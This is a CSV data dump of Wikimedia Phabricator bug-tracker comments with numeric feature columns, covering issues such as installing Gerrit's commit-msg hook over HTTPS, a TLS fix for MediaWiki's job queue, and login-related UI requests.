434347,"""Login unification complete!"" should report/encourage user to set up Global user, and indicate actual user pages.",I'm good with this. Patches welcome.,,,1427496332,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-s6xbwrsut72bkcjtp2df,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,I'm good with this. Patches welcome.
93489,/tools/hooks/commit-msg is missing for HTTPS remote URL,"{P419}
This is with any HTTPS remote URL. It's happy if I set the remote URL to SSH instead.


Workaround:
>>! In T93489#1237736, @valhallasw wrote:
> In the mediawiki-core directory,
> ```
> cd .git/hooks
> wget https://gerrit.wikimedia.org/r/tools/hooks/commit-msg
> chmod 755 commit-msg
> ```
> 
> will install the commit-msg hook. 

Everything should work afterwards. Note, however, that the password for pushing is not your normal password, but the one listed under https://gerrit.wikimedia.org/r/#/settings/http-password .
",Lowest,10.0,1426975144,1468949478.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-bxp7xrbobtrp5o3q3swv,False,PHID-TASK-qqrnonenwr5pam364uwz,task_description,resolved,True,c3,1,True,False,False,-15,True,1.0,1.0,0.0,0.0,1.0,6.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,25.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,9.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5671641791044775,0.6716417910447762,"{P419}
This is with any HTTPS remote URL. It's happy if I set the remote URL to SSH instead.


Workaround:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Everything should work afterwards. Note, however, that the password for pushing is not your normal password, but the one listed under URL .
"
697004,/tools/hooks/commit-msg is missing for HTTPS remote URL,"Oh woops, sorry I didn't mean to close it but anyways seems to be resolved and the rewrite rule added. Please reopen if the problem still happends.",,,1468949539,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,3,True,,,54,True,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,16.0,13.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.903225806451613,0.9032258064516129,"Oh woops, sorry I didn't mean to close it but anyways seems to be resolved and the rewrite rule added. Please reopen if the problem still happends."
697003,/tools/hooks/commit-msg is missing for HTTPS remote URL,Can this be closed since the rewrite rule was added to gerrit apache. It should work on the old gerrit and the new gerrit now.,,,1468949478,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,3,True,,,54,True,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,7.0,4.0,4.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.8148148148148148,Can this be closed since the rewrite rule was added to gerrit apache. It should work on the old gerrit and the new gerrit now.
449512,/tools/hooks/commit-msg is missing for HTTPS remote URL,Thanks @valhallasw. It worked!,,,1430129547,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4,1.0,ThanksSCREEN_NAME. It worked!
449509,/tools/hooks/commit-msg is missing for HTTPS remote URL,"@Pginer-WMF:

In the mediawiki-core directory,
```
cd .git/hooks
wget https://gerrit.wikimedia.org/r/tools/hooks/commit-msg
chmod 755 commit-msg
```

will install the commit-msg hook. I think that's the only git-review speed bump for https (other than that you have to use the right password, namely the one listed under https://gerrit.wikimedia.org/r/#/settings/http-password ).",,,1430128590,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,10.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.7666666666666667,"SCREEN_NAME-WMF:

In the mediawiki-core directory,
``CODE``

will install the commit-msg hook. I think that's the only git-review speed bump for https (other than that you have to use the right password, namely the one listed under URL )."
449508,/tools/hooks/commit-msg is missing for HTTPS remote URL,"After having used a local installation for a while, I tried a new one using Vagrant and found this problem. In the ticket comments there seem to be some references to workarounds, but a more detailed description of how to apply it would be helpful.",,,1430128231,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,False,,,-10,True,2.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,14.0,0.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,4.0,8.0,2.0,4.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,14.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,8.0,0.0,4.0,2.0,0.0,0.0,4.163265306122449,0.8367346938775511,"After having used a local installation for a while, I tried a new one using Vagrant and found this problem. In the ticket comments there seem to be some references to workarounds, but a more detailed description of how to apply it would be helpful."
430606,/tools/hooks/commit-msg is missing for HTTPS remote URL,">>! In T93489#1139358, @Krenair wrote:
> I've experienced this with every repo I had configured to use HTTPS rather than SSH.

The above commands start with a //https// clone and lets `git-review` setup what it needs (like switching to SSH).

So by 'configured to use HTTPS' you mean you either forcing a HTTPS remote (like using `-r ...`)?

I guess you're on your own then. `git-review` fails to figure out to add a `/r/` to the URL (which is needed by WMF reverse proxy setup).

https://review.openstack.org/gitweb?p=openstack-infra/git-review.git;a=blob;f=git_review/cmd.py;h=3abf3271866817eafeb3985fe56697d4da6eab5f;hb=79262a52301c146a6b60d09a828661a83a5f5ba7#l312

I guess one either needs to setup a forward from

  https://gerrit.wikimedia.org/tools/hooks/commit-msg

to

  https://gerrit.wikimedia.org/r/tools/hooks/commit-msg

, or fix `git-review` itself to figure out about adding the `/r/`.",,,1427054614,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,2.0,12.5,0.0,4.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,6.5,2.0,1.5,2.0,2.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,14.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.5,0.5,1.0,0.0,5.0,12.5,6.5,0.5,1.0,0.0,5.0,0.0,1.5,3.0,1.0,2.5,0.0,0.0,0.5,3.442377495462795,0.6949485783424078,"QUOTE
QUOTE

The above commands start with a //https// clone and lets CODE setup what it needs (like switching to SSH).

So by 'configured to use HTTPS' you mean you either forcing a HTTPS remote (like using CODE)?

I guess you're on your own then. CODE fails to figure out to add a CODE to the URL (which is needed by WMF reverse proxy setup).

URL

I guess one either needs to setup a forward from

  URL

to

  URL

, or fix CODE itself to figure out about adding the CODE."
430586,/tools/hooks/commit-msg is missing for HTTPS remote URL,"I've experienced this with every repo I had configured to use HTTPS rather than SSH.
```alex@alex-laptop:~$ git-review --version
git-review version 1.24```",,,1427049762,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,True,,,-15,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4347826086956523,0.8260869565217391,"I've experienced this with every repo I had configured to use HTTPS rather than SSH.
``CODE``"
430584,/tools/hooks/commit-msg is missing for HTTPS remote URL,"The remote URL looks wrong. It should be https://gerrit.wikimedia.org/r/tools/hooks/commit-msg (Note the `/r/` in the path).

However ... I cannot reproduce your issue.
When cloning through https, `git-review` is smart enough to figure things out for me:

```
_________________________________________________________________
christian@spencer // jobs: 0 // time: 19:32:58 // exit code: 0
cwd: ~/sources/Wikimedia/gerrit/EventLogging
git-review --version
git-review version 1.24.post51

_________________________________________________________________
christian@spencer // jobs: 0 // time: 19:33:01 // exit code: 0
cwd: ~/sources/Wikimedia/gerrit
git clone https://gerrit.wikimedia.org/r/mediawiki/extensions/EventLogging
Cloning into 'EventLogging'...
remote: Counting objects: 215, done
remote: Finding sources: 100% (43/43)
remote: Getting sizes: 100% (31/31)
remote: Compressing objects: 100% (57301/57301)
remote: Total 3888 (delta 6), reused 3861 (delta 5)
Receiving objects: 100% (3888/3888), 805.66 KiB | 357 KiB/s, done.
Resolving deltas: 100% (2448/2448), done.

_________________________________________________________________
christian@spencer // jobs: 0 // time: 19:33:08 // exit code: 0
cwd: ~/sources/Wikimedia/gerrit
cd EventLogging/

_________________________________________________________________
christian@spencer // jobs: 0 // time: 19:33:11 // exit code: 0
cwd: ~/sources/Wikimedia/gerrit/EventLogging
git review -s
Could not connect to gerrit.
Enter your gerrit username: qchris
Trying again with ssh://qchris@gerrit.wikimedia.org:29418/mediawiki/extensions/EventLogging.git
Creating a git remote called ""gerrit"" that maps to:
        ssh://qchris@gerrit.wikimedia.org:29418/mediawiki/extensions/EventLogging.git

This repository is now set up for use with git-review. You can set the
default username for future repositories with:
  git config --global --add gitreview.username ""qchris""


_________________________________________________________________
christian@spencer // jobs: 0 // time: 19:33:26 // exit code: 0
cwd: ~/sources/Wikimedia/gerrit/EventLogging
ll .git/hooks/commit-msg
-rwxr-xr-x 1 christian users 4376 Mar 22 19:33 .git/hooks/commit-msg*
```

Which version of `git-review` are you running, and which repo are you experiencing the issue with?",,,1427049540,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-qqrnonenwr5pam364uwz,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,6.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,16.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,9.0,3.0,1.0,0.0,0.0,9.0,0.0,3.0,0.0,1.0,4.0,0.0,0.0,0.0,3.626865671641791,0.8059701492537313,"The remote URL looks wrong. It should be URL (Note the CODE in the path).

However ... I cannot reproduce your issue.
When cloning through https, CODE is smart enough to figure things out for me:

``CODE`CODEgit-review` are you running, and which repo are you experiencing the issue with?"
90033,Support 1password for login,"https://github.com/AgileBits/onepassword-app-extension

Quicker login for 1 password users. ",Lowest,10.0,1424391436,1536070624.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-gtqkf7mx7vj4gbx75naw,False,PHID-TASK-4urqli3vskievmtmywbs,task_description,declined,True,c3,1,False,False,False,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,"URL

Quicker login for 1 password users. "
515633,Support 1password for login,1Password looks like your average password manager so there is no need for any explicit support from MediaWiki side.,,,1440662325,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-4urqli3vskievmtmywbs,task_subcomment,,True,c3,3,True,,,8,True,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.9,1.0,1Password looks like your average password manager so there is no need for any explicit support from MediaWiki side.
417829,Support 1password for login,"As a 1Password user, I support this feature :-)",,,1424975899,,PHID-USER-6vqtwycrvuonr2xo7bqi,True,,,PHID-TASK-4urqli3vskievmtmywbs,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,"As a 1Password user, I support this feature :-)"
89210,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")","In Bugzilla, everyone can see CC List of a bug. I don't know why we can't do that in Phabricator.
",Lowest,10.0,1423634288,1428789419.0,PHID-USER-3wfzrv2a2ggwauxc52is,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-wesbvwfhyk37ok2y3fav,task_description,resolved,True,c3,1,True,False,True,-21,True,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,12.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,23.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0384615384615383,0.8846153846153846,"In Bugzilla, everyone can see CC List of a bug. I don't know why we can't do that in Phabricator.
"
442488,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")",Sounds like I effectively upstreamed this independently as https://secure.phabricator.com/T7317,,,1428789365,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wesbvwfhyk37ok2y3fav,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Sounds like I effectively upstreamed this independently as URL
409789,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")",This is related to {T639}. So far upstream has been fixing these inconsistencies when we have reported them.,,,1423660654,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-wesbvwfhyk37ok2y3fav,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,14.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,4.136363636363637,0.9545454545454546,This is related to {T639}. So far upstream has been fixing these inconsistencies when we have reported them.
409711,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")","If there're a lot of subscribers you will see ""and XX others"". When you click ""XX others"" Phabricator ask you to login.",,,1423650530,,PHID-USER-3wfzrv2a2ggwauxc52is,False,,,PHID-TASK-wesbvwfhyk37ok2y3fav,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,17.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,10.0,7.0,0.0,14.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3793103448275863,0.7241379310344828,"If there're a lot of subscribers you will see ""and XX others"". When you click ""XX others"" Phabricator ask you to login."
409700,"Unregistered users should be able to see all subscribers of a task (requires login for ""and X others"")","?

As anonymous user, I can see the subscribers of this task:

  Subscribers     Aklapper, Bugreporter 

Please share URLs where the problem you are reporting can be reproduced.",,,1423649117,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-wesbvwfhyk37ok2y3fav,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,20.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,6.0,9.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.371428571428571,0.8857142857142857,"?

As anonymous user, I can see the subscribers of this task:

  Subscribers     Aklapper, Bugreporter 

Please share URLs where the problem you are reporting can be reproduced."
89065,Jobs Queue Doesn't Make Proper TLS Request (HTTP request against the HTTP port which generates a 301 redirect),"My wiki is private and runs on TLS only.  Since 1.23 the jobs queue won't run because it makes an HTTP request against the HTTP port, which generates a 301 redirect, that mediawiki ignores.  fsockopen can handle SSL/TLS negotiations but there is no code apparently detecting the $wgServer containing https:// and adjusting accordingly.  I was able to modify the fsockopen like this to make it work (near line 666 in MediaWiki.php 1.24.0):

```
                $sock = fsockopen(
                       ""tls://"" . $info['host'],
                        isset( $info['port'] ) ? $info['port'] : 443,
                        $errno,
                        $errstr,
                        // If it takes more than 100ms to connect to ourselves there
                        // is a problem elsewhere.
                        0.1
                );
```

Obviously in a proper design, you would assume port 443 (unless overridden) and TLS from ""https://"" in the $wgServer and prepend tls:// or ssl:// to the hostname for fsockopen.",Lowest,10.0,1423530270,1463771478.0,PHID-USER-5yr7uedvkbhzdccm6hy2,False,PHID-USER-5yr7uedvkbhzdccm6hy2,False,PHID-TASK-c7c7guy25af4ajrsliu2,task_description,resolved,True,c3,1,True,True,False,-21,True,0.0,0.0,0.0,0.0,0.5,5.5,1.5,0.5,0.0,1.0,2.5,0.5,0.0,0.5,0.5,1.5,0.5,3.0,10.5,0.0,1.5,0.0,0.5,0.0,1.0,1.0,0.0,1.0,0.5,1.0,0.5,3.0,1.0,1.5,0.0,1.0,0.0,0.5,1.0,0.5,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.5,12.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,2.0,8.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,3.5,0.0,3.5,10.5,4.0,0.0,1.0,0.0,3.5,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,4.0703125,0.8203125,"My wiki is private and runs on TLS only.  Since 1.23 the jobs queue won't run because it makes an HTTP request against the HTTP port, which generates a 301 redirect, that mediawiki ignores.  fsockopen can handle SSL/TLS negotiations but there is no code apparently detecting the $wgServer containing https:// and adjusting accordingly.  I was able to modify the fsockopen like this to make it work (near line 666 in MediaWiki.php 1.24.0):

``CODE``

Obviously in a proper design, you would assume port 443 (unless overridden) and TLS from ""URL in the $wgServer and prepend tls:// or ssl:// to the hostname for fsockopen."
666036,Jobs Queue Doesn't Make Proper TLS Request (HTTP request against the HTTP port which generates a 301 redirect),This was reported again in T107290 and fixed there.,,,1463771478,,PHID-USER-5yr7uedvkbhzdccm6hy2,False,,,PHID-TASK-c7c7guy25af4ajrsliu2,task_subcomment,,True,c3,3,True,,,46,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,1.0,This was reported again in T107290 and fixed there.
88264,"""Edit without login"" button is hidden in editor cta","The button ""Edit without login"" has display:none; on the editor cta.

Steps to reproduce:
1. Make sure you're in alpha or anonymous editing is enabled in your configuration
2. Go to an editable page
3. Click the edit pencil

Expected: You see a warning and 3 options (Edit without login, login and signup)
